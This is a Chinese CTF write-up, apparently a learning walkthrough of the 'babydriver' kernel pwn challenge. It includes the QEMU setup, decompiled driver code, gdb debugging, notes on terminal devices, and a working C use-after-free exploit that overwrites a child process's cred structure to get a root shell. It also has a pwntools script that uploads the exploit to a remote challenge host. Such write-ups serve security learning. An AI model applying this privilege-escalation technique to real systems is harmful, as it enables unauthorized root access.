分析
查看boot.sh
,开启了smep
用户代码不可执行
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 128M \
-nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s
运行./boot.sh
,查看权限是ctf
,需要提权到root
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ cd /home/ctf
~ $ ls
~ $
先解包rootfs.cpio
得到驱动
⚡ mkdir File_system
⚡ mv rootfs.cpio ./File_system/rootfs.cpio.gz
⚡ cd File_system
⚡ gunzip rootfs.cpio.gz
⚡ cpio -idmv < rootfs.cpio
查看文件系统里的init
文件,发现root
权限才能查看flag
,内核版本是4.4.72
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
找到ko
文件,在File_system/lib/modules/4.4.72/babydriver.ko
,查看文件信息,开了NX
⚡ file babydriver.ko
babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
⚡ checksec babydriver.ko
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
分析程序,完全没学过,丢给gpt
了
int __cdecl babydriver_init()
{
int v0; // 用于存储返回值或错误码
int v1; // 用于存储返回值或错误码
class *v2; // 用于存储设备类指针
__int64 v3; // 用于存储返回值或错误码
// 分配字符设备的主设备号,并将其存储在 babydev_no 变量中
if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
// 初始化字符设备 cdev_0,并将其关联的文件操作结构体 fops 设置为 &fops
cdev_init(&cdev_0, &fops);
// 将字符设备的所有者指定为当前内核模块
cdev_0.owner = &_this_module;
// 向系统添加字符设备 cdev_0,使用分配的主设备号 babydev_no,并指定设备数为1
v1 = cdev_add(&cdev_0, babydev_no, 1LL);
// 如果添加成功,则返回值大于等于0
if ( v1 >= 0 )
{
// 创建一个设备类,名称为 "babydev",并将其与主设备号 babydev_no 相关联
v2 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v2;
// 如果设备类创建成功
if ( v2 )
{
// 在 /dev 目录下创建一个设备节点,名称为 "babydev",并将其与设备类 v2 和主设备号 babydev_no 相关联
v3 = device_create(v2, 0LL, babydev_no, 0LL, "babydev");
v0 = 0;
// 如果设备节点创建成功,则返回0
if ( v3 )
return v0;
// 输出内核信息日志,表示设备节点创建失败
printk(&unk_351);
// 销毁之前创建的设备类
class_destroy(babydev_class);
}
else
{
// 输出内核信息日志,表示设备类创建失败
printk(&unk_33B);
}
// 从内核中删除字符设备
cdev_del(&cdev_0);
}
else
{
// 输出内核信息日志,表示添加字符设备失败
printk(&unk_327);
}
// 注销之前分配的字符设备号
unregister_chrdev_region(babydev_no, 1LL);
return v1;
}
// 输出内核信息日志,表示分配字符设备的主设备号失败
printk(&unk_309);
return 1;
}
该函数用于进行初始化来设置参数,分配字符设备的主设备号babydev_no
,使用分配的主设备号添加字符设备cdev_0
,创建名称为 babydev
的设备类并与主设备号相关联,**/dev
**目录下创建一个名称为babydev
的设备节点并将其与设备类和主设备号相关联,以上全部成功则return 0
,否则销毁前面步骤的结果并输出错误信息
void __cdecl babydriver_exit()
{
// 销毁设备节点
device_destroy(babydev_class, babydev_no);
// 销毁设备类
class_destroy(babydev_class);
// 从内核中删除字符设备
cdev_del(&cdev_0);
// 注销之前分配的字符设备号
unregister_chrdev_region(babydev_no, 1LL);
}
该函数主要就是在退出时收回init
时创建的设备
int __fastcall babyopen(inode *inode, file *filp)
{
// 分配内核缓冲区内存
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
// 设置内核缓冲区长度
babydev_struct.device_buf_len = 64LL;
// 输出设备打开信息
printk("device open\n");
return 0;
}
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
// 输出文件读取信息
_fentry__(filp, buffer);
// 如果设备缓冲区为空,则返回错误码
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
// 如果设备缓冲区长度大于指定长度
if ( babydev_struct.device_buf_len > v4 )
{
// 将数据从内核缓冲区复制到用户缓冲区
v6 = v4;
copy_to_user(buffer);
return v6;
}
return result;
}
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
// 输出文件写入信息
_fentry__(filp, buffer);
// 如果设备缓冲区为空,则返回错误码
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
// 如果设备缓冲区长度大于指定长度
if ( babydev_struct.device_buf_len > v4 )
{
// 将数据从用户缓冲区复制到内核缓冲区
v6 = v4;
copy_from_user();
return v6;
}
return result;
}
和正常orw
感觉差不多,open
对babydev_struct
分配内存
int __fastcall babyrelease(inode *inode, file *filp)
{
// 输出设备释放信息
_fentry__(inode, filp);
// 释放设备缓冲区
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}
类似free
,对babydev_struct
释放内存
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
// 输出ioctl操作信息
_fentry__(filp, command);
v4 = v3;
// 如果命令为0x10001
if ( command == 0x10001 )
{
// 释放原有的设备缓冲区
kfree(babydev_struct.device_buf);
// 重新分配设备缓冲区
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
// 设置设备缓冲区长度
babydev_struct.device_buf_len = v4;
// 输出分配完成信息
printk("alloc done\n");
return 0LL;
}
else
{
// 输出未知命令信息
printk(&unk_2EB);
return -22LL;
}
}
ioctl
函数是用于进行设备 I/O 控制的系统调用,它允许用户空间程序与设备驱动程序进行通信,以控制设备的各种操作函数原型:
cCopy code int ioctl(int fd, unsigned long request, ...);
参数解释:
fd
:文件描述符,用于标识要进行 I/O 控制的设备。request
:无符号长整型参数,用于指定要执行的操作或控制命令。...
:可选参数,用于传递与request
相关的数据或结构体。参数类型和数量取决于所执行的具体操作。参数详解:
fd
:文件描述符通常是通过文件打开操作(例如open
函数)获得的,用于标识要进行I/O
控制的设备。request
:这是一个无符号长整型参数,通常是一个设备特定的控制命令或操作码。ioctl
函数的具体行为由request
参数确定,每个设备驱动程序都会定义一组支持的request
值,以便用户程序能够控制设备的各种操作。...
:这是一个可选的参数列表,用于传递与request
相关的数据或结构体。具体的参数类型和数量取决于所执行的具体操作。例如,如果request
是用于设置设备参数的命令,则后续参数可能是一个指向包含新参数值的结构体的指针。返回值:
ioctl
函数执行成功时返回 0,否则返回 -1,并设置errno
表示错误类型。
题目中的该函数三个参数分别是文件描述符、操作码、缓冲区长度
调试
漏洞点出在uaf
,即释放之后没有清零,具体利用暂且不谈,本篇仅学习kernel pwn
的一般过程,以下是exp
#include<stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include<fcntl.h>
#include <unistd.h>
int main(int argc, char **argv){
int fd1,fd2,id;
char cred[0xa8] = {0};
fd1 = open("dev/babydev",O_RDWR);
fd2 = open("dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0xa8);
close(fd1);
id = fork();
if(id == 0){
write(fd2,cred,28);
if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");
return 0;
}
}
else if(id < 0){
printf("[*]fork fail\n");
}
else{
wait(NULL);
}
close(fd2);
return 0;
}
在解压的文件系统中写入exp
的c
程序并且静态编译(kernel
不提供标准库)再打包,再次启动就有了exp
,执行之后就可以提权了
find . | cpio -o --format=newc > ../rootfs.cpio
运行结果
cat flag
cat: can't open 'flag': Permission denied
/ $ ./exp
[ 10.489723] device open
[ 10.492086] device open
[ 10.492300] alloc done
[ 10.493707] device release
[*]welcome root:
/ # cat flag
flag{test}
安装vmlinux-to-elf
来得到有调试符号的bzImage
(python3>3.5
)
sudo pip3 install --upgrade lz4 git+https://github.com/marin-m/vmlinux-to-elf
使用
vmlinux-to-elf bzImage vmlinux
运行结果
⚡ vmlinux-to-elf bzImage vmlinux
[+] Kernel successfully decompressed in-memory (the offsets that follow will be given relative to the decompressed binary)
[+] Version string: Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #1 SMP Thu Jun 15 19:52:50 PDT 2017
[+] Guessed architecture: x86_64 successfully in 2.60 seconds
[+] Found kallsyms_token_table at file offset 0x00eafe70
[+] Found kallsyms_token_index at file offset 0x00eb0210
[+] Found kallsyms_markers at file offset 0x00eaf318
[+] Found kallsyms_names at file offset 0x00d99480
[+] Found kallsyms_num_syms at file offset 0x00d99478
[i] Null addresses overall: 0.00215239 %
[+] Found kallsyms_addresses at file offset 0x00ce3cb8
[+] Successfully wrote the new ELF kernel to vmlinux
⚡ ls
boot.sh bzImage disk.flag.img File_system rootfs.cpio vmlinux
使用gdb
调试
gdb -q -ex "target remote localhost:1234"
set architecture i386:x86-64
add-symbol-file vmlinux
./boot.sh
c # 先 continue, 在 insmod 之后手动 Ctrl+C 再设置断点,免得断点处于 pending 状态
add-symbol-file babydriver.ko 0xffffffffc0000000 #kernel shell中lsmod
b babyread
b babywrite
b babyioctl
b babyopen
b babyrelease
c
./exp
远程攻击
脚本
import sys
import os
from pwn import *
import string
context.log_level='debug'
r = remote('ip', port)
def send_cmd(cmd):
r.sendlineafter('$ ', cmd)
def upload():
lg = log.progress('Upload')
with open('exp', 'rb') as f:
data = f.read()
encoded = base64.b64encode(data)
encoded = str(encoded)[2:-1]
for i in range(0, len(encoded), 300):
lg.status('%d / %d' % (i, len(encoded)))
send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
send_cmd('cat benc | base64 -d > bout')
send_cmd('chmod +x bout')
lg.success()
os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()
r.interactive()
终端设备类型简介
在 Linux
中 /dev
目录下,终端设备文件通常有以下几种(不同版本linux
中不一定都存在):
/dev/ttySn-串行端口终端
用于与串行端口连接的终端设备,类似于 Windows
下的 COM
/dev/tty-控制终端
当前进程的控制终端设备文件,类似于符号链接,会具体对应至某个实际终端文件
相关指令:
tty
:查看具体对应的终端设备
ps -ax
:查看进程与控制终端的映射关系
-append 'console=ttyS0
:qemu
中设置 linux kernel tty
映射至 /dev/ttySn
上
/dev/ttyN & /dev/console-虚拟终端与控制台
在Linux
系统中,计算机显示器通常被称为控制台终端 (Console
),而在 linux
初始字符界面下,为了同时处理多任务,自然需要多个终端的切换,这些终端由于是用软件来模拟以前硬件的方式,是虚拟出来的,因此也称为虚拟终端
控制台是直接和计算机相连接的原生设备,终端是通过电缆、网络等等和主机连接的设备
我们日常所使用的图形界面下的终端,属于某个虚拟图形终端界面下的多个伪终端,可以通过 Ctrl+Alt+Fx
( Fx
表示切换至第 x
个终端,例如 F1
)来切换虚拟终端,tty0
是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上,默认情况下,F1-F6
均为字符终端界面,F7-F12
为图形终端界面
/dev/pty-伪终端
伪终端(Pseudo Terminal)是成对的逻辑终端设备,其行为与普通终端非常相似,所不同的是伪终端没有对应的硬件设备,主要目的是实现双向信道,为其他程序提供终端形式的接口,当我们远程连接到主机时,与主机进行交互的终端的类型就是伪终端,而且日常使用的图形界面中的多个终端也全都是伪终端。
伪终端的两个终端设备分别称为 master
设备和 slave
设备,其中 slave
设备的行为与普通终端无异,当某个程序把某个 master
设备看作终端设备并进行读写,则该读写操作将实际反应至该逻辑终端设备所对应的另一个 slave
设备。通常 slave
设备也会被其他程序用于读写
其他终端 (/dev/ttyprintk等)
这类终端通常是用于特殊的目的,例如/dev/ttyprintk
直接与内核缓冲区相连